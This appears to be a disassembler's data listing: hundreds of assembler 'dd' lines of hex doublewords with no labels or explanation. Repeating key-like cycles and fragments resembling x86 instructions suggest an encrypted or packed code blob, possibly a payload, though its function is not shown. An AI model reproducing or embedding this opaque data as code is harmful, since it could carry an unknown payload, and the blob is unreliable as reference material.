dd 7D3A4B56h, 0CD4A47EFh, 25E7D0BCh, 5431BB2h, 0D3762433h
dd 0B8BF44D4h, 9104AACBh, 6C46A03Dh, 0B10D647Ch, 7C6C46F7h
dd 5F3DBAC5h, 9128B51Fh, 6C467B3Dh, 0B03D497Ch, 0C29A30B1h
dd 0EAC453F9h, 82B456A3h, 98D0AEC7h, 2476244Dh, 0A03EDA5Bh
dd 0EC2077Fh, 57CE8CB7h, 8D842CC0h, 306ACFCh, 1EB43572h
dd 0A069DB0h, 710E6915h, 0EF66241Fh, 1242E6BAh, 0EC42E382h
dd 77199229h, 0DB73BD65h, 7B8F0075h, 453D83A5h, 0C05EFEDh
dd 54531B45h, 81842FC1h, 90CB7E3h, 1F437B6h, 108E017Ah
dd 3EAh, 8CECE382h, 0F5979210h, 791B0699h, 0EC8C852Dh
dd 573534B0h, 0D35F674Ch, 40E6B2DEh, 0CE6B2745h, 76FDA9CBh
dd 2B421173h, 726E1553h, 8A1DA37Ch, 650FFE85h, 0A1A693A0h
dd 0BDC8B926h, 29104826h, 65397625h, 76252923h, 9BAF6B1h
dd 6CF60DC2h, 57FF7CD4h, 871EBC87h, 6D096A37h, 9BF9867Ch
dd 0F4CB760Ah, 0FC50E687h, 308E19C3h, 82BB3B28h, 0C1A98F4h
dd 61EE6F7Ah, 26CD5FF6h, 640F8B23h, 4A702E95h, 0CCABD88Dh
dd 6E6B1C0Ah, 93F17ED1h, 8797C07h, 4E43E37Dh, 19768431h
dd 0EFD8DD82h, 4B74C86Eh, 11B81681h, 0DD7C72F8h, 60986BD2h
dd 0F1AE0C51h, 33141h, 0A5BC4500h, 2C29CBC7h, 0D0CF504Ch
dd 455CE4B0h, 0CACF6B27h, 142C85AEh, 9F0B6968h, 207C1C09h
dd 0AAE68285h, 0F56E0A09h, 6DCC8CE2h, 46187C72h, 0FBFE85DDh
dd 0A7F9C28Ah, 1B033DF5h, 0B92CADCDh, 0FE0C4C22h, 0DFD87624h
dd 0CDC09E77h, 197C6D01h, 8C44F29Eh, 0C3000001h, 5B6480D9h
dd 54826B1h, 217C6C43h, 0A82CBA46h, 0E071A938h, 0E9A235D7h
dd 0AB6D1D47h, 953D51h, 0E0A28FAEh, 3BC5BE6Fh, 214779C6h
dd 0E6813199h, 4DFCC789h, 0B225A2A7h, 0AC28F8DCh, 59354C71h
dd 699B3B1Fh, 0CAD9AEAAh, 0C5B7DF35h, 8E0F0AA9h, 79FA9601h
dd 72D8468Eh, 30B1FD2Fh, 5882ECA5h, 10B4D0B6h, 0F1722EBAh
dd 365E4BF2h, 0A7581F28h, 26537h, 69680900h, 10159F0Bh
dd 84832470h, 908A8E4h, 0BEB33F6Bh, 0D8E0B1D2h, 633F5D5Ch
dd 0F4A0C0DDh, 7E2A7649h, 0C192FEF5h, 6E98D0AEh, 82247C72h
dd 0FBFE8501h, 53F9C28Ah, 46D3EAC4h, 68177C6Ch, 4E66C008h
dd 6E40D775h, 82B4571Fh, 27B92C4Bh, 70178580h, 0B32D3D95h
dd 50636D8h, 0C7972EC5h, 5062581h, 3672204Fh, 82050626h
dd 0C6F14DE5h, 19966B17h, 0F58C1B98h, 0ADDADF5Bh, 0D56866CCh
dd 110B4E4Fh, 8CB71996h, 774750DDh, 0FECE0D31h, 273F0BFh
dd 1D71E465h, 5198BB7h, 5E1A740Dh, 6A0506D7h, 87198C0Dh
dd 0C8980DFCh, 6F2D5DDCh, 6D1682EEh, 0AEC8D796h, 1FE83BDh
dd 1A591h, 2928C900h, 0D0D55F4Bh, 4443E4B0h, 0C9C86824h
dd 7E73FFABh, 98A0F112h, 237F1D1Ch, 0B4E0809Dh, 3E6A3609h
dd 1D2BEB5h, 6F58106Eh, 0C2647C72h, 0FBFE8541h, 53F9C28Ah
dd 38962DC4h, 76243280h, 0CD8B234Ch, 7C6C4684h, 1B15AB45h
dd 0B2189984h, 0C9D46A06h, 0B98B2848h, 0B4F4CA7Eh, 0E5762432h
dd 2432CF89h, 0E6921D76h, 1A93DE6Dh, 0D15E0D8Eh, 502EC550h
dd 7624BD18h, 0A273DBA4h, 0F0F1710Bh, 7071F183h, 0F57D5BF3h
dd 0D67C72F5h, 0C8B9A43Ah, 87703ABh, 6560039Dh, 0FEE88B07h
dd 33097A69h, 0F8144173h, 762657D4h, 46188F4Dh, 82C10BAAh
dd 0F28E1966h, 7A167271h, 0C38DFAF9h, 0EBC352F8h, 7C6CFB4Ah
dd 6560029Eh, 57169714h, 0C57703Eh, 0CFE79708h, 0A7000000h
dd 3561031Eh, 0B2EE8A8Fh, 46523E2Dh, 0D5C1A3BEh, 2B482829h
dd 0F3F6724Ah, 66630591h, 0ECE38E1Ah, 9493108Ch, 76485FF4h
dd 7C727132h, 0B97F28BEh, 7549DC7Eh, 7C726BF5h, 40572443h
dd 74D0404Bh, 6CFC36ECh, 0A868CEC1h, 4441A0Bh, 0D07C7294h
dd 5E4A56D7h, 0B2F6C8D5h, 3E7C7293h, 4346E371h, 0A9E2B5C2h
dd 2AF112Ch, 44317E0Fh, 0AB033EC1h, 970F072Dh, 0B2B73D9Fh
dd 9CDCB2C5h, 289B8F0Ch, 4A55DD4Fh, 8F0D3474h, 66E7809Bh
dd 403F7109h, 0BD21777Fh, 59C61B06h, 0BC63D892h, 13818020h
dd 5C3C9297h, 0E4B0D0D7h, 33CD585Fh, 0B3C1BEB3h, 24453237h
dd 10600FA7h, 65E09190h, 41E236F5h, 0C96A2642h, 30DBDCAh
dd 8A000000h, 0FC85DA41h, 7F0494E5h, 0FC790B78h, 6AFC8CFDh
dd 0F6720E7Fh, 4AF682F3h, 0CA6A0677h, 55EA86F7h, 0C96B3976h
dd 68B9BFCCh, 3AF1h, 68243489h, 3BE9h, 57240C89h, 0C781E789h
dd 4, 8704EF83h, 895C243Ch, 0D5682434h, 89000068h, 97BE2434h
dd 810D2E2Fh, 4E56F7EEh, 0A1C68138h, 8134F35Eh, 0E83A97F6h
dd 0D6F74E27h, 0B917EE81h, 0F189CB76h, 348B545Eh, 4C48324h
dd 8904EC83h, 468F240Ch, 2434FF08h, 4C4835Eh, 592434FFh
dd 4C481h, 0EAE90000h, 29FFFA3Eh, 0B8D16AB8h, 64E3F16h
dd 0E0FFC503h, 7FE38037h, 679587F9h, 1D7A327h, 1442A64h
dd 6F9F0CE9h, 45A72C78h, 3C02F253h, 1A2B3062h, 153DC2DDh
dd 5C2FE151h, 12D1008Ch, 6D460E53h, 41A70456h, 776D116Ah
dd 4C78380Fh, 5E2C7076h, 66B7A17Ah, 0A92CEA9h, 1173990Dh
dd 25645616h, 330C2E95h, 50259941h, 7C82421Eh, 17B8E536h
dd 1B4853h, 5DC87220h, 3C0A128Bh, 6C0DB54Fh, 40A55F99h
dd 0DE8h, 0C3BF6100h, 0F28DC2E6h, 40940550h, 0F6061BEh
dd 28Bh, 66D68B00h, 0C15AEB81h, 0B70F5961h, 14C181DFh
dd 0BA000070h, 0
dd 34FFDF8Bh, 81EF800Ah, 0FA8B6658h, 0C410C081h, 0CDBB2168h
dd 81457923h, 0A0E28BF0h, 0E956500Bh, 12h, 0D9F26BDh, 0A0FAEE3Ch
dd 0E0B00ABAh, 905FC2F8h, 5E5E1350h, 25DFF081h, 666006C0h
dd 8166CB8Bh, 61941DE9h, 8C0F5350h, 6, 870Fh, 8F5B0000h
dd 0BF661104h, 840FCC72h, 7, 85D3BF52h, 835F7C05h, 0DE8B03EAh
dd 0C7F3814Ah, 81531306h, 0FF90C4FAh, 19850FFFh, 66000000h
dd 26E9F78Bh, 0B8000000h, 0F9FEC317h, 72BD3148h, 579B2F71h
dd 12E2B1F4h, 0E9F6BF0Fh, 0FFFFFF5Eh, 0C84ADAE4h, 180D43FBh
dd 0CF5A4010h, 8EBACh, 0EB000000h, 0E94B841Eh, 48Ah, 4E41EE68h
dd 3D6FE906h, 5868FFFAh, 0E9064E42h, 0FFFA3D65h, 4E43A068h
dd 3D5BE906h, 159CFFFAh, 80227E1Ah, 14ABE785h, 0B73F6B09h
dd 26C2DEBAh, 55224123h, 0A0C0C16Dh, 157752F4h, 9FFDFC79h
dd 7656003h, 2365394Ch, 0B17C7274h, 0EC80742Fh, 35E54D44h
dd 831D8889h, 0E1A7F7FCh, 0EF762432h, 35720380h, 0F5871E9Dh
dd 7B384948h, 3C4D4CE9h, 0B83BD77Fh, 2A712ABDh, 0AC354EF8h
dd 868325B7h, 862288E9h, 0D84F0D36h, 6D277B86h, 0BBC8B77Ch
dd 6D16692Bh, 8976E07Ch, 0A9EA649Fh, 2B8BEDBh, 0D9E50000h
dd 0A7655E76h, 430F5E30h, 5C5B7C6Ch, 0A7DB22BCh, 0E8D379D1h
dd 6EDBB322h, 0FA7799AAh, 0B780CCBDh, 222C8215h, 0C679D1D2h
dd 9199DFAFh, 4B277151h, 0AF2CADA8h, 0EC1FA438h, 49902264h
dd 7E1A9BD1h, 3B828122h, 177299B8h, 0E361118Eh, 6B000002h
dd 0F995F7CAh, 86127E7Bh, 0A86E2E1h, 99F5976Ah, 577C1C1Dh
dd 0A7BA467Eh, 2A37C9C5h, 0D0D7524Eh, 585FE4B0h, 0BA14AB38h
dd 7C7273FEh, 0B99374CAh, 7549DC7Eh, 7C72741Dh, 4441A6Bh
dd 0D07C7273h, 2DBF56D7h, 14119381h, 0C06C0097h, 5BF3B0C1h
dd 0D2D7534Fh, 724E15A5h, 0F97A7C72h, 0A14643FAh, 0BF7018EEh
dd 2790Fh, 5D54DD00h, 0C4C1633Fh, 4857E8A4h, 0FDF47C28h
dd 6267039Fh, 0AC94FD06h, 37630100h, 0B8D4B491h, 425E3A3Dh
dd 0DC6A2A1h, 7464247Ah, 0EE707C72h, 0DC7EB935h, 741D7549h
dd 0C6B7C72h, 72A5EF7Fh, 32AC7C72h, 52A05B4Dh, 0AF7ADBAFh
dd 53000001h, 933B26B9h, 0FBFE85F0h, 7E75FE8Ah, 0D4AD55E7h
dd 5070C6A7h, 0A9D3F78h, 56B03E73h, 0F18E8323h, 6F34C7B0h
dd 8DB01EB4h, 597C6C6Eh, 8835C75Eh, 86071A9Ah, 952288E9h
dd 6C6D7FC5h, 0CEC3CA7Ch, 0CAFDC7B7h, 3AB41A9Eh, 0EBB86345h
dd 3762DBA9h, 0B9000000h, 49DC7EB9h, 9F921EB2h, 40109937h
dd 0D3DC7C6Ch, 33DED3A2h, 0AAC3413Dh, 652FAD05h, 0EC7C6D1Fh
dd 29628D72h, 89B1E5Dh, 5A72D881h, 0DBA919A1h, 0B77Bh
dd 0B80A000h, 0B7570521h, 1F9B0997h, 0A60C6D1Ah, 3D4A49EAh
dd 0B1CEC36Fh, 344540E3h, 2D38CF61h, 6B6E1585h, 37F35F09h
dd 169D7624h, 0D8809CE7h, 0D9B5C321h, 7625079Fh, 44C5422Dh
dd 0A16B5424h, 0A9ED5836h, 3E797C6Fh, 7B6915A7h, 1E7AFBFEh
dd 73F0E682h, 0A74C0C62h, 1F987C6Eh, 0C9EBE59Eh, 0BE672E09h
dd 2F118E31h, 78370C56h, 131CAh, 859C2500h, 0C09ABE7h
dd 0B0AF306Ch, 253CC4D0h, 0AAAF4B47h, 0F4CCA5CEh, 7F2B4948h
dd 9CFCE9h, 8A066265h, 0D58EEAE9h, 75ACECC2h, 0A6387C72h
dd 0F8F985FDh, 60670C98h, 0D8C55BF5h, 4A3F5672h, 0B9CAE4AEh
dd 0A30B80h, 8AFBFE85h, 0C4C561FBh, 201A26Eh, 7C2D1666h
dd 0E372F3F6h, 0E915574Ch, 4D867B23h, 922DF7E5h, 0FCBB7C6Ch
dd 0AFD9D269h, 1313C562h, 119D7DD5h, 55EB8510h, 0D47A3B48h
dd 0B75A1AB4h, 0E58E7C6Ch, 9E1382EEh, 0DD1BCADDh, 7077FCB6h
dd 25B386F3h, 7C006CC1h, 0BBBE3AD6h, 713902Ch, 8BF8797Ch
dd 603744EAh, 882E21CCh, 7DEAh, 7EB96900h, 0DE5049DCh
dd 75BC1A6Eh, 9FEFA60Ch, 7C7295C7h, 8B199611h, 7174FEE8h
dd 2FCB65F0h, 0A8E4842Ah, 0EF7F0C0Bh, 0CA3CED8Ah, 24CCB36Fh
dd 0A9F8989Fh, 0B94EDF0h, 0FD553C93h, 0AB67961Dh, 8A992E8Ch
dd 47CBBCFDh, 79FF6DC5h, 0EAE3DA35h, 0D9FEC6Dh, 40E67A65h
dd 0E6531545h, 661C1A8h, 40950E99h, 7737476h, 37DEDD75h
dd 971CC4BBh, 1FA4F090h, 3FB6B18h, 58000000h, 0FC85DA41h
dd 7F0494E5h, 0FC790B78h, 6AFC8CFDh, 0F6720E7Fh, 4AF682F3h
dd 0CA6A0677h, 55EA86F7h, 0C96B3976h, 57B9BFCCh, 0C7815F54h
dd 4, 8704EF83h, 565C243Ch, 0C681E689h, 4, 8704EE83h, 895C2434h
dd 89512434h, 4C181E1h, 83000000h, 0C8704E9h, 1C895C24h
dd 0ED685524h, 5D677C78h, 41C4B850h, 0C52912FDh, 3DED8158h
dd 81301E34h, 12C1D3EDh, 5DEE891Eh, 241C8B54h, 4C481h
dd 8F560000h, 34FF0843h, 0C4815B24h, 4, 5624348Bh, 0C681E689h
dd 4, 4C681h, 34870000h, 0F6E95C24h, 0D0FFFA38h, 0A130B393h
dd 0F6B898C8h, 3064E44h, 0BFE0FFC5h, 495E0271h, 3312545Fh
dd 0B0071F47h, 0D34D3C42h, 8B7EBF9Ah, 0D0377759h, 0B75CF22Ah
dd 2C27921Eh, 0E20B67D2h, 3F4537DFh, 0CC559EA0h, 6860E55Ah
dd 36602475h, 35004F47h, 8C101F2Eh, 776E2134h, 0E065222Ah
dd 791430DEh, 19740EA0h, 0EA2D231Dh, 0F701C80Eh, 2F17E540h
dd 0C10D7D91h, 13325A7h, 6900F2DDh, 0C10D07F5h, 0BB6F1015h
dd 0CD2E1F67h, 0EA1D6247h, 6364706Ah, 0FE3308D4h, 0E854B27Ch
dd 13h, 2ECFEC20h, 2A7A07Dh, 96A1B64Fh, 0AF4B68A7h, 5ABED582h
dd 9E8h, 98FB9F00h, 8D7CE9F0h, 8B6620FCh, 0C2815BDEh, 6626h
dd 80F68166h, 8005B970h, 0E9812A58h, 2A5866B1h, 0C715C3BBh
dd 0E93A8B66h, 8, 92B9B32Ah, 948E189h, 7C05C781h, 81664150h
dd 81B90FD8h, 0C7AC84C7h, 0F3EF8078h, 1F5AEF81h, 9E87DE0h
dd 0CF000000h, 0BC564D06h, 1A016058h, 13E9h, 667A4500h
dd 63688F65h, 0D9D91DF4h, 967455Dh, 8DCECA12h, 0EE81575Bh
dd 5A4CF4C0h, 83F9028Fh, 585303EAh, 0AE84Ah, 757E0000h
dd 0FF08A8ADh, 31684D58h, 5EF78B66h, 0E850F49h, 0B7000000h
dd 18E929h, 9B790000h, 3892CE09h, 26F1B85Bh, 6EE971E6h
dd 0DFFFFFFFh, 63D7420Eh, 8D8D6C95h, 64E47C4h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 17C35545h, 8D89B63Dh
dd 6481405h, 8DEE8166h, 2585C7B0h, 0BC064830h, 6A00006Fh
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h
dd 47000000h, 92C357h, 0A9712E4h, 0F95B7D6Bh, 2AD985C7h
dd 648h, 81660000h, 0FF1FFDE2h, 480E25B5h, 50006A06h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
dd 1FAC89A7h, 6652B162h, 58C578B8h, 0E7195FFh, 6A0648h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
dd 61A9A6C3h, 545ED61Eh, 0BF350E68h, 10186F6Bh, 12898509h
dd 6A0648h, 92D95FFh, 0C08B0648h, 9DA42BEBh, 501CE31Ah
dd 43EAAD8Fh, 0F4302032h, 0B2F61E8h, 0AC46D7CFh, 0A643BE92h
dd 88C2C37Bh, 4AFD7648h, 40521771h, 11B4108Ch, 0A68D8DFCh
dd 89064E48h, 48181D85h, 58D8906h, 8B064814h, 0DDBD8BC7h
dd 0C7064829h, 48302585h, 6A9006h, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1804h, 0C3514100h, 0DE5D28EAh
dd 599D8927h
dd 0C706481Bh, 482AD985h, 6, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 0A62CE19h
dd 8D89E848h, 648068Dh, 1221B5FFh, 0BD290648h, 64827F1h
dd 0E7195FFh, 6A0648h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 160424h, 57470000h, 3DFF93C3h, 95FF006Ah, 648092Dh
dd 3AEBC08Bh, 9F726BB1h, 4B727FF9h, 0F5ED6889h, 0B3C5FFABh
dd 615198C2h, 6B1C0C36h, 0F4AA85FFh, 839CE39Ah, 0D734FF54h
dd 0AB2C715h, 11446338h, 711DDC6Ch, 34AE87C0h, 587185B4h
dd 0E85368FFh, 565DB13Eh, 2ACF232h, 5655F201h, 56ABB132h
dd 43D5B132h, 95EAE800h, 5675EB41h, 56BAB132h, 565DB132h
dd 56AEB132h, 5657B132h, 56ABB132h, 56D5B132h, 56EAB132h
dd 5675B132h, 56BAB132h, 545DB132h, 81AEB132h, 5457B935h
dd 59ABB632h, 72D5A832h, 56E81E32h, 5677F632h, 4B8F632h
dd 565DA0DBh, 2DA4C432h, 18140AAh, 0A5C99C76h, 197B9882h
dd 7A6354EEh, 5675B616h, 6FBA3232h, 0A3716E4Ch, 0EF4E968h
dd 56515862h, 81FDB132h, 25371CF6h, 0CE91BBA0h, 122267C3h
dd 0E649D31Fh, 8A121F1Bh, 0CBC50BD7h, 666BE53h, 59F9E160h
dd 598DEB03h, 56E45803h, 692BB132h, 0DD0E43Eh, 616B60CAh
dd 856CBC96h, 0E0DE968h, 0CB301BA4h, 68DEB53h, 5103E362h
dd 4575B132h, 39F4F862h, 6752B44Eh, 56AEB7DBh, 42309732h
dd 0CA8038Fh, 0E8F276Ah, 0AE0731A5h, 5675B7DBh, 0F28D8732h
dd 0CB8E733Fh, 45472D53h, 7957B132h, 1DB1740Eh, 7133F01Ah
dd 9598CCE6h, 49CBC872h, 0BF3B845Eh, 1DAF16Ah, 56AEB7DBh
dd 52402732h, 0CB1893DFh, 0B91B2153h, 5D3034CEh, 88FED1AFh
dd 56BAB4DAh, 89238832h, 37F6441Eh, 72133853h, 8720D136h
dd 56D058AEh, 7843B132h, 0D710EDFDh, 0DAEEF9FAh, 565B5866h
dd 91A8B132h, 35C5ACC6h, 0BEF3D0AFh, 56D5B121h, 8C6F4DDDh
dd 0F0745939h, 648725D5h, 2864B1B1h, 595B9DEDh, 370D7E85h
dd 56ABB16Ah, 56D5B132h, 56EAB132h, 5675B132h, 56BAB132h
dd 565DB132h, 56AEB132h, 5657B132h, 56ABB132h, 56D5B132h
dd 56EAB132h, 5675B132h, 56BAB132h, 565DB132h, 56AEB132h
dd 5657B132h, 56ABB132h, 56D5B132h, 56EAB132h, 5675B132h
dd 56BAB132h, 565DB132h, 56AEB132h, 5657B132h, 56ABB132h
dd 56D5B132h, 56EAB132h, 5675B132h, 56BAB132h, 565DB132h
dd 56AEB132h, 5657B132h, 56ABB132h, 56D5B132h, 56EAB132h
dd 5675B132h, 56BAB132h, 565DB132h, 56AEB132h, 5657B132h
dd 56ABB132h, 56D5B132h, 56EAB132h, 5675B132h, 56BAB132h
dd 565DB132h, 56AEB132h, 5657B132h, 56ABB132h, 56D5B132h
dd 56EAB132h, 5675B132h, 56BAB132h, 565DB132h, 56AEB132h
dd 5657B132h, 56ABB132h, 56D5B132h, 56EAB132h, 5675B132h
dd 56BAB132h, 565DB132h, 56AEB132h, 5657B132h, 56ABB132h
dd 56D5B132h, 56EAB132h, 5675B132h, 56BAB132h, 565DB132h
dd 56AEB132h, 5657B132h, 56ABB132h, 56D5B132h, 36EAB132h
dd 5675B1DAh, 0BC3BEB32h, 5013FA96h, 0CBF634BFh, 0D4DEB77Fh
dd 50E5F9C8h, 89D333BFh, 0D463B77Ch, 503BF9CCh, 56B3FFDAh
dd 56265932h, 0D469B132h, 5019F9D8h, 56ABB132h, 0AF507760h
dd 0ECF93Dh, 0FECDE35Ah, 0FF0F4EAEh, 0DB5BF91Bh, 1DD1D1B7h
dd 0DF874E34h, 1E817CB7h, 3ED1DB34h, 56EAA132h, 5578F15Ah
dd 0A9BADB32h, 9656EBE2h, 0D4278246h, 5019F9D8h, 1E4533BBh
dd 166CB77Ch, 0DDEAB23Fh, 0A5B582CAh, 52D0E398h, 564DB15Ah
dd 52AED932h, 563DB132h, 7C6623CDh, 0DF8FB77Ah, 18A38FB0h
dd 0D3FED034h, 50F4F9D8h, 0D49AD1F1h, 50E6A24Fh, 5617B132h
dd 535E33F5h, 46D5B77Ah, 958BB132h, 0BCCF3A52h, 0D5BCFF7Ah
dd 7529B10Dh, 54BECEB1h, 29D4BA46h, 58DFB522h, 0BDC176B1h
dd 46AD76D8h, 5675B133h, 117D43D9h, 565DB222h, 37475A32h
dd 0BADCE4F1h, 56AB5952h, 0D78FB132h, 18A628D8h, 14C73A34h
dd 0DDBCFF7Bh, 50D4B977h, 1FEC33B1h, 3753B77Ch, 56AF73FBh
dd 56D55952h, 0D7B0B132h, 18390CD8h, 68083A34h, 6D5BFF7Bh
dd 18E7F380h, 0DD6CC534h, 59743A0Ch, 0A0D4FE84h, 236AB075h
dd 0BDACB236h, 15639A30h, 0B7D83A71h, 0DDA8F900h, 1E54B4BFh
dd 24738A34h, 210C8A3Bh, 522C3237h, 994E78D9h, 0EB33B946h
dd 5015B237h, 95CF06D9h, 56575952h, 0D7F1B132h, 1898A4D8h
dd 68503A34h, 0EF73FF7Bh, 56BAB032h, 0FDAE7101h, 1F9033B9h
dd 0D4DEB77Ch, 50E5F870h, 0BEB57253h, 56EAB132h, 699F3068h
dd 90BCFF7Fh, 1E5248B7h, 6FC6E734h, 0A983AE5Fh, 1E821887h
dd 36503C34h, 0A9ECFA4Dh, 3E25E3E2h, 56BA3132h, 0E4A2B158h
dd 50E0F9D8h, 0C0F61CDh, 562BB15Ah, 0A9D5DB32h, 18A38F80h
dd 37A54E34h, 0BA31E4F1h, 565D5952h, 0D7F4B132h, 181A3CD8h
dd 5EDE3A34h, 56D729DAh, 0C415E432h, 503BF9C8h, 5ACF8A6Fh
dd 0D0B55F47h, 37AEB130h, 565F73FBh, 0D5473A67h, 1834DF6h
dd 56EA5961h, 0D72FB132h, 18F770D8h, 5E283A34h, 1BECCB9h
dd 56605964h, 96A0B132h, 0AE5E9046h, 0AC784E67h, 0B73FF7Ah
dd 22B6C409h, 48D6D720h, 0DC5E56B2h, 0A6B4312Ch, 56AD2CDAh
dd 0DF015A32h, 0B024D4Fh, 0D8A4ECCh, 1331EF6Dh, 5A9F78CEh
dd 0BA25E432h, 1AF75B1h, 91F8E064h, 56D54977h, 0D42DB132h
dd 503BF818h, 56BAB133h, 3055C4B9h, 0EC25AFB9h, 5019F9D8h
dd 5DA3EEB9h, 6DDAC5E9h, 0DDECC4ECh, 9FCBD6Fh, 427D323Eh
dd 0DD3B5BD9h, 0BE55312Ch, 5699353Dh, 0AD2BB132h, 9351BEDBh
dd 0D6EAB132h, 0D27A5AC9h, 56BAB18Eh, 59BF4AB2h, 56AE1DB6h
dd 0B5AC3132h, 5631353Dh, 0D7B3B132h, 5909D6C9h, 567529B6h
dd 0A65D3132h, 59A63054h, 0C72ABEB2h, 0D657B132h, 0AD2B41D1h
dd 0D351BE42h, 30EAB132h, 0B5F5AFB9h, 0EE4131CAh, 68DDF346h
dd 0D693C537h, 6E239C0Ch, 22C38FB2h, 7C574E01h, 30ECFF7Bh
dd 0B1F5AFB9h, 0AD3BD7CAh, 762959B3h, 0D6B03A54h, 0D73141D5h
dd 226B30C9h, 0A980D121h, 18A24BA0h, 13FCEC34h, 2B39D0CEh
dd 3528B0CEh, 45D30BB9h, 0DD07B77Ah, 18E29BB0h, 66E98834h
dd 0DDBAC36Ah, 1E704488h, 0D431E134h, 5013F818h, 0E9E8D0Bh
dd 46BC8C4Dh, 5453F4F5h, 0BDD5B132h, 0AEAF7635h, 5675B133h
dd 1E500BB9h, 49D6B77Ch, 49DA6A39h, 59226F09h, 0D5A7ECB9h
dd 22D5494Fh, 0AEB7B231h, 0D571EEBBh, 0B451A5F5h, 96B47101h
dd 30AEB132h, 2BDCAFB9h, 0BD50313Eh, 0B555BB46h, 261131C2h
dd 649EA746h, 9153B6F4h, 565DB075h, 9125B132h, 0BF5271B1h
dd 56ABB1A5h, 59D27654h, 0D6F43B3Ah, 9DF5BED1h, 57E539B2h
dd 565FF6F5h, 0DDAEB132h, 509732F5h, 0D7CDC8D9h, 2245210Ch
dd 0C6D4313Dh, 0D713BF47h, 0C62A4E4Ch, 52B6B346h, 94576B9h
dd 1F1133BFh, 0FBB77Ch, 1E2B23CDh, 96E1B77Ch, 9EFEBB46h
dd 1FFC03BFh, 46B6B77Ch, 3603A64h, 1EAD23CDh, 7DF6B77Ch
dd 80C46FCh, 5712CCB1h, 1FC5A147h, 5902D798h, 59F6D7B7h
dd 0FDAFF784h, 2BD4AAD9h, 45DEB3CAh, 9FDE0954h, 0EE8C1A54h
dd 0FD13353Dh, 57FC073Dh, 0A55F5A99h, 0D693A96h, 9F08EF6Bh
dd 3ABB9F0h, 0BEB55DB9h, 56EAB132h, 499F3068h, 0DDBCFF62h
dd 0D4D4B977h, 50E0F9C0h, 52957853h, 0BA20E432h, 362D75B1h
dd 56EAB1DAh, 0BCF4EB32h, 50F4E172h, 56A5F4F5h, 91AEB132h
dd 56574D77h, 9698B132h, 91CB3A54h, 18A39BB0h, 5675B034h
dd 0AD3BD732h, 562821A2h, 59464AB2h, 5656B9B6h, 0AD2BF132h
dd 0A851BEDBh, 16EAB132h, 599E4AB2h, 56BA45B6h, 0B1DDF132h
dd 0AD2FD7C2h, 0D258313Dh, 56ABB1D7h, 56543331h, 0D6AAB77Ah
dd 0D27A53C9h, 56BAB1FCh, 59BE4AB2h, 56AE0DB6h, 0ADD6D732h
dd 0D2A45255h, 56D5B188h, 0D61A52B2h, 0D27AC1C9h, 56BAB187h
dd 0D6433A54h, 0AD2E49D1h, 0D610C58Ah, 14DFB40Ch, 22F88FB2h
dd 3ED4310Fh, 0A9358946h, 18F39BB0h, 48D6D734h, 305656B2h
dd 0BED64AB3h, 0DDCD9546h, 0A632312Ch, 0D7113054h, 3662C5F2h
dd 0AC284E67h, 0B5BFF7Ah, 3752F4BBh, 57ABCCB1h, 5783343Dh
dd 0EC5EB132h, 50A2A24Fh, 7CF73A62h, 6FBCFF7Bh, 5905810Eh
dd 56AFA0B0h, 0A3ED3A32h, 6ADF937h, 1FFF33B9h, 6AD3B77Ch
dd 0D97AE902h, 56BAB1C8h, 1EB30BB9h, 0D42DB77Ch, 5019F9DCh
dd 0DF9C3826h, 0DD85A175h, 18A39BB0h, 66693A34h, 5EE5386Ah
dd 565D64DBh, 0AEEB7632h, 5657B130h, 136CB6D9h, 56D5B0CAh
dd 0B8503A32h, 0D573FF7Ah, 18F25FB0h, 61D4A534h, 0D5BEF6BBh
dd 5A22B2CAh, 1F8133F5h, 56D7B77Ch, 5301B132h, 2B7749B1h
dd 0AEC7326Dh, 5946C532h, 0FFAFF784h, 5657B1B2h, 0D5EBB747h
dd 5E3EB4DAh, 56EA4E1Fh, 539D3232h, 0DDE9BAD9h, 18149BA8h
dd 65AA3A34h, 56571869h, 42DE3132h, 96567731h, 7C68B237h
dd 1E73FF7Bh, 0DFB2F6BBh, 0B6BD75h, 908569C5h, 96D469C5h
dd 7C29B237h, 1ED3FF7Bh, 0DFE2F6BBh, 689EBD75h, 10307101h
dd 23DD1933h, 0D568B213h, 57ECB3F2h, 5DABB132h, 0DCDCC5E9h
dd 1B94ECA8h, 57963134h, 11337231h, 5A1A383Ah, 8E59A5D9h
dd 56574E17h, 0A16D9A32h, 541532EAh, 0DFE2F6BBh, 378DBD75h
dd 0DDEF72FBh, 0AA9932DEh, 56AE5952h, 0D70DB132h, 18F9E0D8h
dd 0BC6F3A34h, 65ECFF7Ah, 564A32FBh, 5678353Dh, 51D6B132h
dd 0A9A2C4CDh, 0BE07B947h, 56ABB041h, 9156B441h, 0DF085A26h
dd 238A4D77h, 5ECF4E3Eh, 0AB586CDh, 59AEB133h, 565726B0h
dd 0AAEE3A32h, 0D4DAB60Bh, 56EAB1BEh, 0D589F4CDh, 22BAB54Dh
dd 5A22323Ah, 0BDACC532h, 0A9A8093Ch, 53124ECDh, 0A5D5B132h
dd 0D5295A99h, 2270A14Dh, 46C5323Dh, 174CC434h, 0DDAAF6B9h
dd 15BCBD6Dh, 0DDAFF6B9h, 6F3EBD6Dh, 0DDEEF6B9h, 94EBD6Dh
dd 4AFC43Ah, 7D59E6B9h, 3ADA167h, 5A083A26h, 0BD286B19h
dd 443EEB37h, 0DDEEF6B9h, 95EBD6Dh, 53513236h, 78E43B31h
dd 292DB77Ah, 5722B222h, 0DF729A73h, 0EED4B06Eh, 0A9154ECDh
dd 5675B48Bh, 0BF114232h, 0A9A24E64h, 466C7853h, 0BADCE432h
dd 365775B1h, 56D5B1DAh, 0BC6BEB32h, 503BE20Eh, 1E500BB9h
dd 9F6EB77Ch, 59AE8EB1h, 565720B6h, 0A9AC3A32h, 232ABD47h
dd 0DE02E13Ah, 2575B132h, 427D3237h, 13D453D9h, 5ADB4ECEh
dd 0A95FC4CDh, 56DA5905h, 3CA7B132h, 6F16F4B9h, 0A916C335h
dd 29394D77h, 5E29B136h, 56A2CEB1h, 58BCB346h, 0A9544E8Ah
dd 56D008CDh, 0FD19B132h, 29F67AD9h, 59CEB422h, 504DCEB1h
